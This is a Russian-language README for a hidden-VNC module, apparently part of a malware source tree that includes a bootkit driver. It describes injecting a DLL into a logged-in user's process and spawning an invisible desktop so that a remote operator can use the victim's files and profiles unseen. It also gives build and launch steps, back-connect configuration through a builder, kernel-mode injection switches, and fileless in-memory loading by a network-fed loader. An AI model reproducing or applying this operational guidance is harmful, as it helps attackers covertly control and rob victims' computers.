VNC-модуль
----------

Программа для подключения к рабочему столу активного в данный момент пользователя.
Позволяет создавать копию рабочего стола пользователя, подключаться и работать с ней, используя протокол RFB. 
 Этот протокол поддерживается большинством современных VNC-клиентов, например: RealVNC, UltraVNC, TightVNC.
Программа способна работать как в режиме ожидания соединения на открытом TCP-порту, так и в режиме Back-Connect,
 т.е. устанавливая исходящее соединение на специальный сервер.

Поддерживаемые ОС: Windows XP - Windows 7 SP1.
Поддерживаемые арзитектуры: х86, х64.

Программа представляет собой динамическую библиотеку (DLL), которая внедряется в один из процессов активного 
 пользователя. При подключении новой сессии, DLL создает скрытый рабочий стол пользователя, на котором запускает
 EXPLORER.EXE. Таким образом, подключившийся к сессии клиент, получает доступ к точной копии рабочего стола 
 активного пользователя. При этом подключившийся клиент не виден для пользователя, никак ему не мешает, но имеет 
 доступ ко всем его файлам, настройкам и профилям, если последние не заблокированы уже запущенными приложениями 
  активного пользователя.
  
В результате сборки проекта получаются следующие файлы:
 VNCDLL.DLL		- модуль для 32х-битных (в том числе и WOW64) приложений;
 VNCDLL64.DLL	- модуль для 64х-битных приложений;
 TESTVNC.EXE		- тестовая программа, загружающая VNC-модуль;

Запуск программы:
 TESTVNC			- запуск программы в режиме ожидания на дефолтном порту: 5900
 TESTVNC <PORT>		- запуск программы в режиме ожидания на заданном порту
 TESTVNC <IP:PORT>	- запуск в режиме Back-Connect где IP:PORT адрес и порт Back-Connect сервера.
 
 
Работа VNC при инжекте VNCDLL из драйвера BK
---------------------------------------------

1. Необходимо отключить внутренний механизм инжектов. Для этого в файле inc\main.h нужно раскаментить строчку:
	#define	_KERNEL_MODE_INJECT		TRUE
 
2. Желательно задать TCP/IP порт, который будет слушать VNC-сервер. Порт задается параметром 
	RFB_DEFAULT_SERVER_PORT в файле inc\rfb.h
  
2. Библиотеки должны называться VNCDLL.DLL для 32х бит и VNCDLL64.DLL для 64х бит, не иначе!



VNC builder
-----------

Предназначен для прикрепления информацонного файла (\Builder\vnc.ini) непосредственно к DLL.
Информационный файл содержит следующие параметры:
BcServer = <IP:PORT>  	- IP адрес и порт бэкконект сервера.
BcTimeout = <число>	- задает промежуток времени в секундах, через который повторять попытку соединени с 
				бэкконект сервером если тот недоступен.
Чтобы прикрепить информационный файл к DLL необходимо собрать проект и выполнить скрипт \Builder\build.bat.
	Готовые DLL забрать в папке \Builder\Release.

Примечание: если VNC DLL была собрана с поддержкой билдера, то задать бэкконект сервер в командноц строке 
 строке утилиты TESTVNC - невозможно.


Запуск в режиме инжекта из памяти
-----------------------------------

Возможен запуск программы в режиме инжекта VNC из памяти без создания файлов (DLL).

1. необходимо включить режим инжекта из памяти. Для этого нужно пересобрать проект, добавив в файле inc\main.h строчку:
	#define	_INJECT_AS_IMAGE	TRUE

2. для запуска VNC требуется программа-загрузчик, которая будет получать по сети либо загружать с диска файлы VNCDLL.
 Загрузчик должен разворачивать в памяти имидж VNCDLL, соответствующей архитектуры, настраивать его и передавать в функцию 
 DllMain, третьим параметром, указатель на следующую структуру:

typedef struct _VNCDLL_CONTEXT
{
	ULONGLONG	pModule32;	// указатель на загруженный в память файл, содержащий 32х-битную версию DLL
	ULONGLONG	pModule64;	// указатель на загруженный в память файл, содержащий 64х-битную версию DLL
	ULONG		Module32Size;	// размер файла 32х-битной DLL
	ULONG		Module64Size;	// размер файла 64х-битной DLL
} VNCDLL_CONTEXT, *VNCDLL_CONTEXT;